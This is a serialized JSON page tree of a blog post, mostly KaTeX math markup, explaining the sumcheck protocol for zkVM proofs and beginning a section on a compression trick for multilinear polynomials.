{"type":25,"tag":216,"props":112714,"children":112716},{"className":112715,"style":6077},[309],[112717],{"type":25,"tag":216,"props":112718,"children":112719},{"style":6098},[112720,112724],{"type":25,"tag":216,"props":112721,"children":112723},{"className":112722,"style":2175},[319],[],{"type":25,"tag":216,"props":112725,"children":112727},{"className":112726},[2180,2181,2182,2183],[112728],{"type":25,"tag":216,"props":112729,"children":112731},{"className":112730},[246,2145,2183],[112732],{"type":31,"value":2190},{"type":31,"value":112734},"), i.e the claim:",{"type":25,"tag":38,"props":112736,"children":112737},{},[112738],{"type":25,"tag":82,"props":112739,"children":112741},{"className":112740},[212,4696],[112742],{"type":25,"tag":216,"props":112743,"children":112745},{"className":112744},[224],[112746],{"type":25,"tag":216,"props":112747,"children":112749},{"className":112748,"ariaHidden":230},[229],[112750,112776],{"type":25,"tag":216,"props":112751,"children":112753},{"className":112752},[235],[112754,112758,112763,112767,112772],{"type":25,"tag":216,"props":112755,"children":112757},{"className":112756,"style":4793},[240],[],{"type":25,"tag":216,"props":112759,"children":112761},{"className":112760,"style":2673},[246,2145],[112762],{"type":31,"value":2676},{"type":25,"tag":216,"props":112764,"children":112766},{"className":112765,"style":258},[257],[],{"type":25,"tag":216,"props":112768,"children":112770},{"className":112769},[263],[112771],{"type":31,"value":266},{"type":25,"tag":216,"props":112773,"children":112775},{"className":112774,"style":258},[257],[],{"type":25,"tag":216,"props":112777,"children":112779},{"className":112778},[235],[112780,112784,112929,112933,113076,113080,113087,113091,113235,113239,113245,113250,113307,113312,113316,113373,113378,113382,113388,113392,113397,113401,113458],{"type":25,"tag":216,"props":112781,"children":112783},{"className":112782,"style":25568},[240],[],{"type":25,"tag":216,"props":112785,"children":112787},{"className":112786},[1835],[112788,112793],{"type":25,"tag":216,"props":112789,"children":112791},{"className":112790,"style":25578},[1835,4042,25577],[112792],{"type":31,"value":4046},{"type":25,"tag":216,"props":112794,"children":112796},{"className":112795},[2153],[112797],{"type":25,"tag":216,"props":112798,"children":112800},{"className":112799},[298,299],[112801,112918],{"type":25,"tag":216,"props":112802,"children":112804},{"className":112803},[304],[112805,112913],{"type":25,"tag":216,"props":112806,"children":112808},{"className":112807,"style":25597},[309],[112809],{"type":25,"tag":216,"props":112810,"children":112811},{"style":25601},[112812,112816],{"type":25,"tag":216,"props":112813,"children":112815},{"className":112814,"style":2175},[319],[],{"type":25,"tag":216,"props":112817,"children":112819},{"className":112818},[2180,2181,2182,2183],[112820],{"type":25,"tag":216,"props":112821,"children":112823},{"className":112822},[246,2183],[112824,112883,112888,112893,112898,112903,112908],{"type":25,"tag":216,"props":112825,"children":112827},{"className":112826},[246,2183],[112828,112833],{"type":25,"tag":216,"props":112829,"children":112831},{"className":112830},[246,2145,2183],[112832],{"type":31,"value":2535},{"type":25,"tag":216,"props":112834,"children":112836},{"className":112835},[2153],[112837],{"type":25,"tag":216,"props":112838,"children":112840},{"className":112839},[298,299],[112841,112872],{"type":25,"tag":216,"props":112842,"children":112844},{"className":112843},[304],[112845,112867],{"type":25,"tag":216,"props":112846,"children":112849},{"className":112847,"style":112848},[309],"height:0.3173em;",[112850],{"type":25,"tag":216,"props":112851,"children":112853},{"style":112852},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[112854,112858],{"type":25,"tag":216,"props":112855,"children":112857},{"className":112856,"style":5100},[319],[],{"type":25,"tag":216,"props":112859,"children":112861},{"className":112860},[2180,5105,5106,2183],[112862],{"type":25,"tag":216,"props":112863,"children":112865},{"className":112864},[246,2183],[112866],{"type":31,"value":184},{"type":25,"tag":216,"props":112868,"children":112870},{"className":112869},[408],[112871],{"type":31,"value":411},{"type":25,"tag":216,"props":112873,"children":112875},{"className":112874},[304],[112876],{"type":25,"tag":216,"props":112877,"children":112879},{"className":112878,"style":5212},[309],[112880],{"type":25,"tag":216,"props":112881,"children":112882},{},[],{"type":25,"tag":216,"props":112884,"children":112886},{"className":112885},[263,2183],[112887],{"type":31,"value":25641},{"type":25,"tag":216,"props":112889,"children":112891},{"className":112890},[287,2183],[112892],{"type":31,"value":80584},{"type":25,"tag":216,"props":112894,"children":112896},{"className":112895},[246,2183],[112897],{"type":31,"value":1876},{"type":25,"tag":216,"props":112899,"children":112901},{"className":112900},[1858,2183],[112902],{"type":31,"value":1861},{"type":25,"tag":216,"props":112904,"children":112906},{"className":112905},[246,2183],[112907],{"type":31,"value":184},{"type":25,"tag":216,"props":112909,"children":112911},{"className":112910},[427,2183],[112912],{"type":31,"value":38097},{"type":25,"tag":216,"props":112914,"children":112916},{"className":112915},[408],[112917],{"type":31,"value":411},{"type":25,"tag":216,"props":112919,"children":112921},{"className":112920},[304],[112922],{"type":25,"tag":216,"props":112923,"children":112925},{"className":112924,"style":25697},[309],[112926],{"type":25,"tag":216,"props":112927,"children":112928},{},[],{"type":25,"tag":216,"props":112930,"children":112932},{"className":112931,"style":1865},[257],[],{"type":25,"tag":216,"props":112934,"children":112936},{"className":112935},[1835],[112937,112942],{"type":25,"tag":216,"props":112938,"children":112940},{"className":112939,"style":25578},[1835,4042,25577],[112941],{"type":31,"value":4046},{"type":25,"tag":216,"props":112943,"children":112945},{"className":112944},[2153],[112946],{"type":25,"tag":216,"props":112947,"children":112949},{"className":112948},[298,299],[112950,113065],{"type":25,"tag":216,"props":112951,"children":112953},{"className":112952},[304],[112954,113060],{"type":25,"tag":216,"props":112955,"children":112957},{"className":112956,"style":25597},[309],[112958],{"type":25,"tag":216,"props":112959,"children":112960},{"style":25601},[112961,112965],{"type":25,"tag":216,"props":112962,"children":112964},{"className":112963,"style":2175},[319],[],{"type":25,"tag":216,"props":112966,"children":112968},{"className":112967},[2180,2181,2182,2183],[112969],{"type":25,"tag":216,"props":112970,"children":112972},{"className":112971},[246,2183],[112973,113030,113035,113040,113045,113050,113055],{"type":25,"tag":216,"props":112974,"children":112976},{"className":112975},[246,2183],[112977,112982],{"type":25,"tag":216,"props":112978,"children":112980},{"className":112979},[246,2145,2183],[112981],{"type":31,"value":2535},{"type":25,"tag":216,"props":112983,"children":112985},{"className":112984},[2153],[112986],{"type":25,"tag":216,"props":112987,"children":112989},{"className":112988},[298,299],[112990,113019],{"type":25,"tag":216,"props":112991,"children":112993},{"className":112992},[304],[112994,113014],{"type":25,"tag":216,"props":112995,"children":112997},{"className":112996,"style":112848},[309],[112998],{"type":25,"tag":216,"props":112999,"children":113000},{"style":112852},[113001,113005],{"type":25,"tag":216,"props":113002,"children":113004},{"className":113003,"style":5100},[319],[],{"type":25,"tag":216,"props":113006,"children":113008},{"className":113007},[2180,5105,5106,2183],[113009],{"type":25,"tag":216,"props":113010,"children":113012},{"className":113011},[246,2183],[113013],{"type":31,"value":331},{"type":25,"tag":216,"props":113015,"children":113017},{"className":113016},[408],[113018],{"type":31,"value":411},{"type":25,"tag":216,"props":113020,"children":113022},{"className":113021},[304],[113023],{"type":25,"tag":216,"props":113024,"children":113026},{"className":113025,"style":5212},[309],[113027],{"type":25,"tag":216,"props":113028,"children":113029},{},[],{"type":25,"tag":216,"props":113031,"children":113033},{"className":113032},[263,2183],[113034],{"type":31,"value":25641},{"type":25,"tag":216,"props":113036,"children":113038},{"className":113037},[287,2183],[113039],{"type":31,"value":80584},{"type":25,"tag":216,"props":113041,"children":113043},{"className":113042},[246,2183],[113044],{"type":31,"value":1876},{"type":25,"tag":216,"props":113046,"children":113048},{"className":113047},[1858,2183],[113049],{"type":31,"value":1861},{"type":25,"tag":216,"props":113051,"children":113053},{"className":113052},[246,2183],[113054],{"type":31,"value":184},{"type":25,"tag":216,"props":113056,"children":113058},{"className":113057},[427,2183],[113059],{"type":31,"value":38097},{"type":25,"tag":216,"props":113061,"children":113063},{"className":113062},[408],[113064],{"type":31,"value":411},{"type":25,"tag":216,"props":113066,"children":113068},{"className":113067},[304],[113069],{"type":25,"tag":216,"props":113070,"children":113072},{"className":113071,"style":25697},[309],[113073],{"type":25,"tag":216,"props":113074,"children":113075},{},[],{"type":25,"tag":216,"props":113077,"children":113079},{"className":113078,"style":1865},[257],[],{"type":25,"tag":216,"props":113081,"children":113084},{"className":113082},[113083],"minner",[113085],{"type":31,"value":113086},"⋯",{"type":25,"tag":216,"props":113088,"children":113090},{"className":113089,"style":1865},[257],[],{"type":25,"tag":216,"props":113092,"children":113094},{"className":113093},[1835],[113095,113100],{"type":25,"tag":216,"props":113096,"children":113098},{"className":113097,"style":25578},[1835,4042,25577],[113099],{"type":31,"value":4046},{"type":25,"tag":216,"props":113101,"children":113103},{"className":113102},[2153],[113104],{"type":25,"tag":216,"props":113105,"children":113107},{"className":113106},[298,299],[113108,113224],{"type":25,"tag":216,"props":113109,"children":113111},{"className":113110},[304],[113112,113219],{"type":25,"tag":216,"props":113113,"children":113115},{"className":113114,"style":25597},[309],[113116],{"type":25,"tag":216,"props":113117,"children":113118},{"style":25601},[113119,113123],{"type":25,"tag":216,"props":113120,"children":113122},{"className":113121,"style":2175},[319],[],{"type":25,"tag":216,"props":113124,"children":113126},{"className":113125},[2180,2181,2182,2183],[113127],{"type":25,"tag":216,"props":113128,"children":113130},{"className":113129},[246,2183],[113131,113189,113194,113199,113204,113209,113214],{"type":25,"tag":216,"props":113132,"children":113134},{"className":113133},[246,2183],[113135,113140],{"type":25,"tag":216,"props":113136,"children":113138},{"className":113137},[246,2145,2183],[113139],{"type":31,"value":2535},{"type":25,"tag":216,"props":113141,"children":113143},{"className":113142},[2153],[113144],{"type":25,"tag":216,"props":113145,"children":113147},{"className":113146},[298,299],[113148,113178],{"type":25,"tag":216,"props":113149,"children":113151},{"className":113150},[304],[113152,113173],{"type":25,"tag":216,"props":113153,"children":113156},{"className":113154,"style":113155},[309],"height:0.1645em;",[113157],{"type":25,"tag":216,"props":113158,"children":113159},{"style":112852},[113160,113164],{"type":25,"tag":216,"props":113161,"children":113163},{"className":113162,"style":5100},[319],[],{"type":25,"tag":216,"props":113165,"children":113167},{"className":113166},[2180,5105,5106,2183],[113168],{"type":25,"tag":216,"props":113169,"children":113171},{"className":113170},[246,2145,2183],[113172],{"type":31,"value":2190},{"type":25,"tag":216,"props":113174,"children":113176},{"className":113175},[408],[113177],{"type":31,"value":411},{"type":25,"tag":216,"props":113179,"children":113181},{"className":113180},[304],[113182],{"type":25,"tag":216,"props":113183,"children":113185},{"className":113184,"style":5212},[309],[113186],{"type":25,"tag":216,"props":113187,"children":113188},{},[],{"type":25,"tag":216,"props":113190,"children":113192},{"className":113191},[263,2183],[113193],{"type":31,"value":25641},{"type":25,"tag":216,"props":113195,"children":113197},{"className":113196},[287,2183],[113198],{"type":31,"value":80584},{"type":25,"tag":216,"props":113200,"children":113202},{"className":113201},[246,2183],[113203],{"type":31,"value":1876},{"type":25,"tag":216,"props":113205,"children":113207},{"className":113206},[1858,2183],[113208],{"type":31,"value":1861},{"type":25,"tag":216,"props":113210,"children":113212},{"className":113211},[246,2183],[113213],{"type":31,"value":184},{"type":25,"tag":216,"props":113215,"children":113217},{"className":113216},[427,2183],[113218],{"type":31,"value":38097},{"type":25,"tag":216,"props":113220,"children":113222},{"className":113221},[408],[113223],{"type":31,"value":411},{"type":25,"tag":216,"props":113225,"children":113227},{"className":113226},[304],[113228],{"type":25,"tag":216,"props":113229,"children":113231},{"className":113230,"style":25697},[309],[113232],{"type":25,"tag":216,"props":113233,"children":113234},{},[],{"type":25,"tag":216,"props":113236,"children":113238},{"className":113237,"style":1865},[257],[],{"type":25,"tag":216,"props":113240,"children":113242},{"className":113241,"style":2319},[246,2145],[113243],{"type":31,"value":113244},"g",{"type":25,"tag":216,"props":113246,"children":113248},{"className":113247},[287],[113249],{"type":31,"value":1844},{"type":25,"tag":216,"props":113251,"children":113253},{"className":113252},[246],[113254,113259],{"type":25,"tag":216,"props":113255,"children":113257},{"className":113256},[246,2145],[113258],{"type":31,"value":2535},{"type":25,"tag":216,"props":113260,"children":113262},{"className":113261},[2153],[113263],{"type":25,"tag":216,"props":113264,"children":113266},{"className":113265},[298,299],[113267,113296],{"type":25,"tag":216,"props":113268,"children":113270},{"className":113269},[304],[113271,113291],{"type":25,"tag":216,"props":113272,"children":113274},{"className":113273,"style":97063},[309],[113275],{"type":25,"tag":216,"props":113276,"children":113277},{"style":2268},[113278,113282],{"type":25,"tag":216,"props":113279,"children":113281},{"className":113280,"style":2175},[319],[],{"type":25,"tag":216,"props":113283,"children":113285},{"className":113284},[2180,2181,2182,2183],[113286],{"type":25,"tag":216,"props":113287,"children":113289},{"className":113288},[246,2183],[113290],{"type":31,"value":184},{"type":25,"tag":216,"props":113292,"children":113294},{"className":113293},[408],[113295],{"type":31,"value":411},{"type":25,"tag":216,"props":113297,"children":113299},{"className":113298},[304],[113300],{"type":25,"tag":216,"props":113301,"children":113303},{"className":113302,"style":2203},[309],[113304],{"type":25,"tag":216,"props":113305,"children":113306},{},[],{"type":25,"tag":216,"props":113308,"children":113310},{"className":113309},[1858],[113311],{"type":31,"value":1861},{"type":25,"tag":216,"props":113313,"children":113315},{"className":113314,"style":1865},[257],[],{"type":25,"tag":216,"props":113317,"children":113319},{"className":113318},[246],[113320,113325],{"type":25,"tag":216,"props":113321,"children":113323},{"className":113322},[246,2145],[113324],{"type":31,"value":2535},{"type":25,"tag":216,"props":113326,"children":113328},{"className":113327},[2153],[113329],{"type":25,"tag":216,"props":113330,"children":113332},{"className":113331},[298,299],[113333,113362],{"type":25,"tag":216,"props":113334,"children":113336},{"className":113335},[304],[113337,113357],{"type":25,"tag":216,"props":113338,"children":113340},{"className":113339,"style":97063},[309],[113341],{"type":25,"tag":216,"props":113342,"children":113343},{"style":2268},[113344,113348],{"type":25,"tag":216,"props":113345,"children":113347},{"className":113346,"style":2175},[319],[],{"type":25,"tag":216,"props":113349,"children":113351},{"className":113350},[2180,2181,2182,2183],[113352],{"type":25,"tag":216,"props":113353,"children":113355},{"className":113354},[246,2183],[113356],{"type":31,"value":331},{"type":25,"tag":216,"props":113358,"children":113360},{"className":113359},[408],[113361],{"type":31,"value":411},{"type":25,"tag":216,"props":113363,"children":113365},{"className":113364},[304],[113366],{"type":25,"tag":216,"props":113367,"children":113369},{"className":113368,"style":2203},[309],[113370],{"type":25,"tag":216,"props":113371,"children":113372},{},[],{"type":25,"tag":216,"props":113374,"children":113376},{"className":113375},[1858],[113377],{"type":31,"value":1861},{"type":25,"tag":216,"props":113379,"children":113381},{"className":113380,"style":1865},[257],[],{"type":25,"tag":216,"props":113383,"children":113385},{"className":113384},[113083],[113386],{"type":31,"value":113387},"…",{"type":25,"tag":216,"props":113389,"children":113391},{"className":113390,"style":1865},[257],[],{"type":25,"tag":216,"props":113393,"children":113395},{"className":113394},[1858],[113396],{"type":31,"value":1861},{"type":25,"tag":216,"props":113398,"children":113400},{"className":113399,"style":1865},[257],[],{"type":25,"tag":216,"props":113402,"children":113404},{"className":113403},[246],[113405,113410],{"type":25,"tag":216,"props":113406,"children":113408},{"className":113407},[246,2145],[113409],{"type":31,"value":2535},{"type":25,"tag":216,"props":113411,"children":113413},{"className":113412},[2153],[113414],{"type":25,"tag":216,"props":113415,"children":113417},{"className":113416},[298,299],[113418,113447],{"type":25,"tag":216,"props":113419,"children":113421},{"className":113420},[304],[113422,113442],{"type":25,"tag":216,"props":113423,"children":113425},{"className":113424,"style":2166},[309],[113426],{"type":25,"tag":216,"props":113427,"children":113428},{"style":2268},[113429,113433],{"type":25,"tag":216,"props":113430,"children":113432},{"className":113431,"style":2175},[319],[],{"type":25,"tag":216,"props":113434,"children":113436},{"className":113435},[2180,2181,2182,2183],[113437],{"type":25,"tag":216,"props":113438,"children":113440},{"className":113439},[246,2145,2183],[113441],{"type":31,"value":2190},{"type":25,"tag":216,"props":113443,"children":113445},{"className":113444},[408],[113446],{"type":31,"value":411},{"type":25,"tag":216,"props":113448,"children":113450},{"className":113449},[304],[113451],{"type":25,"tag":216,"props":113452,"children":113454},{"className":113453,"style":2203},[309],[113455],{"type":25,"tag":216,"props":113456,"children":113457},{},[],{"type":25,"tag":216,"props":113459,"children":113461},{"className":113460},[427],[113462],{"type":31,"value":1882},{"type":25,"tag":38,"props":113464,"children":113465},{},[113466,113468,113529],{"type":31,"value":113467},"The naive approach would be for the verifier to compute all ",{"type":25,"tag":82,"props":113469,"children":113471},{"className":113470},[212,4696],[113472],{"type":25,"tag":216,"props":113473,"children":113475},{"className":113474},[224],[113476],{"type":25,"tag":216,"props":113477,"children":113479},{"className":113478,"ariaHidden":230},[229],[113480],{"type":25,"tag":216,"props":113481,"children":113483},{"className":113482},[235],[113484,113488],{"type":25,"tag":216,"props":113485,"children":113487},{"className":113486,"style":6077},[240],[],{"type":25,"tag":216,"props":113489,"children":113491},{"className":113490},[246],[113492,113497],{"type":25,"tag":216,"props":113493,"children":113495},{"className":113494},[246],[113496],{"type":31,"value":331},{"type":25,"tag":216,"props":113498,"children":113500},{"className":113499},[2153],[113501],{"type":25,"tag":216,"props":113502,"children":113504},{"className":113503},[298],[113505],{"type":25,"tag":216,"props":113506,"children":113508},{"className":113507},[304],[113509],{"type":25,"tag":216,"props":113510,"children":113512},{"className":113511,"style":6077},[309],[113513],{"type":25,"tag":216,"props":113514,"children":113515},{"style":6098},[113516,113520],{"type":25,"tag":216,"props":113517,"children":113519},{"className":113518,"style":2175},[319],[],{"type":25,"tag":216,"props":113521,"children":113523},{"className":113522},[2180,2181,2182,2183],[113524],{"type":25,"tag":216,"props":113525,"children":113527},{"className":113526},[246,2145,2183],[113528],{"type":31,"value":2190},{"type":31,"value":113530}," evaluations. This is exponentially expensive.",{"type":25,"tag":38,"props":113532,"children":113533},{},[113534,113536,113541],{"type":31,"value":113535},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":25,"tag":9267,"props":113537,"children":113538},{},[113539],{"type":31,"value":113540},"only one",{"type":31,"value":179},{"type":25,"tag":38,"props":113543,"children":113544},{},[113545],{"type":25,"tag":6461,"props":113546,"children":113549},{"alt":113547,"src":113548},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":25,"tag":38,"props":113551,"children":113552},{},[113553,113555,113647,113649,113834,113836,113861,113863,113941,113943,114020],{"type":31,"value":113554},"In each round, the prover must send a polynomial ",{"type":25,"tag":82,"props":113556,"children":113558},{"className":113557},[212,4696],[113559],{"type":25,"tag":216,"props":113560,"children":113562},{"className":113561},[224],[113563],{"type":25,"tag":216,"props":113564,"children":113566},{"className":113565,"ariaHidden":230},[229],[113567],{"type":25,"tag":216,"props":113568,"children":113570},{"className":113569},[235],[113571,113575,113632,113637,113642],{"type":25,"tag":216,"props":113572,"children":113574},{"className":113573,"style":5507},[240],[],{"type":25,"tag":216,"props":113576,"children":113578},{"className":113577},[246],[113579,113584],{"type":25,"tag":216,"props":113580,"children":113582},{"className":113581,"style":2319},[246,2145],[113583],{"type":31,"value":113244},{"type":25,"tag":216,"props":113585,"children":113587},{"className":113586},[2153],[113588],{"type":25,"tag":216,"props":113589,"children":113591},{"className":113590},[298,299],[113592,113621],{"type":25,"tag":216,"props":113593,"children":113595},{"className":113594},[304],[113596,113616],{"type":25,"tag":216,"props":113597,"children":113599},{"className":113598,"style":2264},[309],[113600],{"type":25,"tag":216,"props":113601,"children":113602},{"style":2341},[113603,113607],{"type":25,"tag":216,"props":113604,"children":113606},{"className":113605,"style":2175},[319],[],{"type":25,"tag":216,"props":113608,"children":113610},{"className":113609},[2180,2181,2182,2183],[113611],{"type":25,"tag":216,"props":113612,"children":113614},{"className":113613},[246,2145,2183],[113615],{"type":31,"value":2283},{"type":25,"tag":216,"props":113617,"children":113619},{"className":113618},[408],[113620],{"type":31,"value":411},{"type":25,"tag":216,"props":113622,"children":113624},{"className":113623},[304],[113625],{"type":25,"tag":216,"props":113626,"children":113628},{"className":113627,"style":2203},[309],[113629],{"type":25,"tag":216,"props":113630,"children":113631},{},[],{"type":25,"tag":216,"props":113633,"children":113635},{"className":113634},[287],[113636],{"type":31,"value":1844},{"type":25,"tag":216,"props":113638,"children":113640},{"className":113639,"style":2223},[246,2145],[113641],{"type":31,"value":10078},{"type":25,"tag":216,"props":113643,"children":113645},{"className":113644},[427],[113646],{"type":31,"value":1882},{"type":31,"value":113648}," such that ",{"type":25,"tag":82,"props":113650,"children":113652},{"className":113651},[212,4696],[113653],{"type":25,"tag":216,"props":113654,"children":113656},{"className":113655},[224],[113657],{"type":25,"tag":216,"props":113658,"children":113660},{"className":113659,"ariaHidden":230},[229],[113661,113754],{"type":25,"tag":216,"props":113662,"children":113664},{"className":113663},[235],[113665,113669,113726,113731,113736,113741,113745,113750],{"type":25,"tag":216,"props":113666,"children":113668},{"className":113667,"style":5507},[240],[],{"type":25,"tag":216,"props":113670,"children":113672},{"className":113671},[246],[113673,113678],{"type":25,"tag":216,"props":113674,"children":113676},{"className":113675,"style":2319},[246,2145],[113677],{"type":31,"value":113244},{"type":25,"tag":216,"props":113679,"children":113681},{"className":113680},[2153],[113682],{"type":25,"tag":216,"props":113683,"children":113685},{"className":113684},[298,299],[113686,113715],{"type":25,"tag":216,"props":113687,"children":113689},{"className":113688},[304],[113690,113710],{"type":25,"tag":216,"props":113691,"children":113693},{"className":113692,"style":2264},[309],[113694],{"type":25,"tag":216,"props":113695,"children":113696},{"style":2341},[113697,113701],{"type":25,"tag":216,"props":113698,"children":113700},{"className":113699,"style":2175},[319],[],{"type":25,"tag":216,"props":113702,"children":113704},{"className":113703},[2180,2181,2182,2183],[113705],{"type":25,"tag":216,"props":113706,"children":113708},{"className":113707},[246,2145,2183],[113709],{"type":31,"value":2283},{"type":25,"tag":216,"props":113711,"children":113713},{"className":113712},[408],[113714],{"type":31,"value":411},{"type":25,"tag":216,"props":113716,"children":113718},{"className":113717},[304],[113719],{"type":25,"tag":216,"props":113720,"children":113722},{"className":113721,"style":2203},[309],[113723],{"type":25,"tag":216,"props":113724,"children":113725},{},[],{"type":25,"tag":216,"props":113727,"children":113729},{"className":113728},[287],[113730],{"type":31,"value":1844},{"type":25,"tag":216,"props":113732,"children":113734},{"className":113733},[246],[113735],{"type":31,"value":1876},{"type":25,"tag":216,"props":113737,"children":113739},{"className":113738},[427],[113740],{"type":31,"value":1882},{"type":25,"tag":216,"props":113742,"children":113744},{"className":113743,"style":335},[257],[],{"type":25,"tag":216,"props":113746,"children":113748},{"className":113747},[340],[113749],{"type":31,"value":3533},{"type":25,"tag":216,"props":113751,"children":113753},{"className":113752,"style":335},[257],[],{"type":25,"tag":216,"props":113755,"children":113757},{"className":113756},[235],[113758,113762,113819,113824,113829],{"type":25,"tag":216,"props":113759,"children":113761},{"className":113760,"style":5507},[240],[],{"type":25,"tag":216,"props":113763,"children":113765},{"className":113764},[246],[113766,113771],{"type":25,"tag":216,"props":113767,"children":113769},{"className":113768,"style":2319},[246,2145],[113770],{"type":31,"value":113244},{"type":25,"tag":216,"props":113772,"children":113774},{"className":113773},[2153],[113775],{"type":25,"tag":216,"props":113776,"children":113778},{"className":113777},[298,299],[113779,113808],{"type":25,"tag":216,"props":113780,"children":113782},{"className":113781},[304],[113783,113803],{"type":25,"tag":216,"props":113784,"children":113786},{"className":113785,"style":2264},[309],[113787],{"type":25,"tag":216,"props":113788,"children":113789},{"style":2341},[113790,113794],{"type":25,"tag":216,"props":113791,"children":113793},{"className":113792,"style":2175},[319],[],{"type":25,"tag":216,"props":113795,"children":113797},{"className":113796},[2180,2181,2182,2183],[113798],{"type":25,"tag":216,"props":113799,"children":113801},{"className":113800},[246,2145,2183],[113802],{"type":31,"value":2283},{"type":25,"tag":216,"props":113804,"children":113806},{"className":113805},[408],[113807],{"type":31,"value":411},{"type":25,"tag":216,"props":113809,"children":113811},{"className":113810},[304],[113812],{"type":25,"tag":216,"props":113813,"children":113815},{"className":113814,"style":2203},[309],[113816],{"type":25,"tag":216,"props":113817,"children":113818},{},[],{"type":25,"tag":216,"props":113820,"children":113822},{"className":113821},[287],[113823],{"type":31,"value":1844},{"type":25,"tag":216,"props":113825,"children":113827},{"className":113826},[246],[113828],{"type":31,"value":184},{"type":25,"tag":216,"props":113830,"children":113832},{"className":113831},[427],[113833],{"type":31,"value":1882},{"type":31,"value":113835}," equals the previous claim. If the prover is lying about the original sum ",{"type":25,"tag":82,"props":113837,"children":113839},{"className":113838},[212,4696],[113840],{"type":25,"tag":216,"props":113841,"children":113843},{"className":113842},[224],[113844],{"type":25,"tag":216,"props":113845,"children":113847},{"className":113846,"ariaHidden":230},[229],[113848],{"type":25,"tag":216,"props":113849,"children":113851},{"className":113850},[235],[113852,113856],{"type":25,"tag":216,"props":113853,"children":113855},{"className":113854,"style":4793},[240],[],{"type":25,"tag":216,"props":113857,"children":113859},{"className":113858,"style":2673},[246,2145],[113860],{"type":31,"value":2676},{"type":31,"value":113862},", then they must lie about ",{"type":25,"tag":82,"props":113864,"children":113866},{"className":113865},[212,4696],[113867],{"type":25,"tag":216,"props":113868,"children":113870},{"className":113869},[224],[113871],{"type":25,"tag":216,"props":113872,"children":113874},{"className":113873,"ariaHidden":230},[229],[113875],{"type":25,"tag":216,"props":113876,"children":113878},{"className":113877},[235],[113879,113884],{"type":25,"tag":216,"props":113880,"children":113883},{"className":113881,"style":113882},[240],"height:0.625em;vertical-align:-0.1944em;",[],{"type":25,"tag":216,"props":113885,"children":113887},{"className":113886},[246],[113888,113893],{"type":25,"tag":216,"props":113889,"children":113891},{"className":113890,"style":2319},[246,2145],[113892],{"type":31,"value":113244},{"type":25,"tag":216,"props":113894,"children":113896},{"className":113895},[2153],[113897],{"type":25,"tag":216,"props":113898,"children":113900},{"className":113899},[298,299],[113901,113930],{"type":25,"tag":216,"props":113902,"children":113904},{"className":113903},[304],[113905,113925],{"type":25,"tag":216,"props":113906,"children":113908},{"className":113907,"style":2264},[309],[113909],{"type":25,"tag":216,"props":113910,"children":113911},{"style":2341},[113912,113916],{"type":25,"tag":216,"props":113913,"children":113915},{"className":113914,"style":2175},[319],[],{"type":25,"tag":216,"props":113917,"children":113919},{"className":113918},[2180,2181,2182,2183],[113920],{"type":25,"tag":216,"props":113921,"children":113923},{"className":113922},[246,2145,2183],[113924],{"type":31,"value":2283},{"type":25,"tag":216,"props":113926,"children":113928},{"className":113927},[408],[113929],{"type":31,"value":411},{"type":25,"tag":216,"props":113931,"children":113933},{"className":113932},[304],[113934],{"type":25,"tag":216,"props":113935,"children":113937},{"className":113936,"style":2203},[309],[113938],{"type":25,"tag":216,"props":113939,"children":113940},{},[],{"type":31,"value":113942}," somewhere. But since the verifier picks a random ",{"type":25,"tag":82,"props":113944,"children":113946},{"className":113945},[212,4696],[113947],{"type":25,"tag":216,"props":113948,"children":113950},{"className":113949},[224],[113951],{"type":25,"tag":216,"props":113952,"children":113954},{"className":113953,"ariaHidden":230},[229],[113955],{"type":25,"tag":216,"props":113956,"children":113958},{"className":113957},[235],[113959,113963],{"type":25,"tag":216,"props":113960,"children":113962},{"className":113961,"style":4821},[240],[],{"type":25,"tag":216,"props":113964,"children":113966},{"className":113965},[246],[113967,113972],{"type":25,"tag":216,"props":113968,"children":113970},{"className":113969,"style":2746},[246,2145],[113971],{"type":31,"value":97823},{"type":25,"tag":216,"props":113973,"children":113975},{"className":113974},[2153],[113976],{"type":25,"tag":216,"props":113977,"children":113979},{"className":113978},[298,299],[113980,114009],{"type":25,"tag":216,"props":113981,"children":113983},{"className":113982},[304],[113984,114004],{"type":25,"tag":216,"props":113985,"children":113987},{"className":113986,"style":2264},[309],[113988],{"type":25,"tag":216,"props":113989,"children":113990},{"style":2768},[113991,113995],{"type":25,"tag":216,"props":113992,"children":113994},{"className":113993,"style":2175},[319],[],{"type":25,"tag":216,"props":113996,"children":113998},{"className":113997},[2180,2181,2182,2183],[113999],{"type":25,"tag":216,"props":114000,"children":114002},{"className":114001},[246,2145,2183],[114003],{"type":31,"value":2283},{"type":25,"tag":216,"props":114005,"children":114007},{"className":114006},[408],[114008],{"type":31,"value":411},{"type":25,"tag":216,"props":114010,"children":114012},{"className":114011},[304],[114013],{"type":25,"tag":216,"props":114014,"children":114016},{"className":114015,"style":2203},[309],[114017],{"type":25,"tag":216,"props":114018,"children":114019},{},[],{"type":31,"value":114021},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":25,"tag":631,"props":114023,"children":114025},{"id":114024},"the-compression-trick",[114026],{"type":31,"value":114027},"The Compression Trick",{"type":25,"tag":38,"props":114029,"children":114030},{},[114031,114033,114183,114185,114464],{"type":31,"value":114032},"For degree-1 (multilinear) polynomials, ",{"type":25,"tag":82,"props":114034,"children":114036},{"className":114035},[212,4696],[114037],{"type":25,"tag":216,"props":114038,"children":114040},{"className":114039},[224],[114041],{"type":25,"tag":216,"props":114042,"children":114044},{"className":114043,"ariaHidden":230},[229],[114045,114138,114165],{"type":25,"tag":216,"props":114046,"children":114048},{"className":114047},[235],[114049,114053,114110,114115,114120,114125,114129,114134],{"type":25,"tag":216,"props":114050,"children":114052},{"className":114051,"style":5507},[240],[],{"type":25,"tag":216,"props":114054,"children":114056},{"className":114055},[246],[114057,114062],{"type":25,"tag":216,"props":114058,"children":114060},{"className":114059,"style":2319},[246,2145],[114061],{"type":31,"value":113244},{"type":25,"tag":216,"props":114063,"children":114065},{"className":114064},[2153],[114066],{"type":25,"tag":216,"props":114067,"children":114069},{"className":114068},[298,299],[114070,114099],{"type":25,"tag":216,"props":114071,"children":114073},{"className":114072},[304],[114074,114094],{"type":25,"tag":216,"props":114075,"children":114077},{"className":114076,"style":2264},[309],[114078],{"type":25,"tag":216,"props":114079,"children":114080},{"style":2341},[114081,114085],{"type":25,"tag":216,"props":114082,"children":114084},{"className":114083,"style":2175},[319],[],{"type":25,"tag":216,"props":114086,"children":114088},{"className":114087},[2180,2181,2182,2183],[114089],{"type":25,"tag":216,"props":1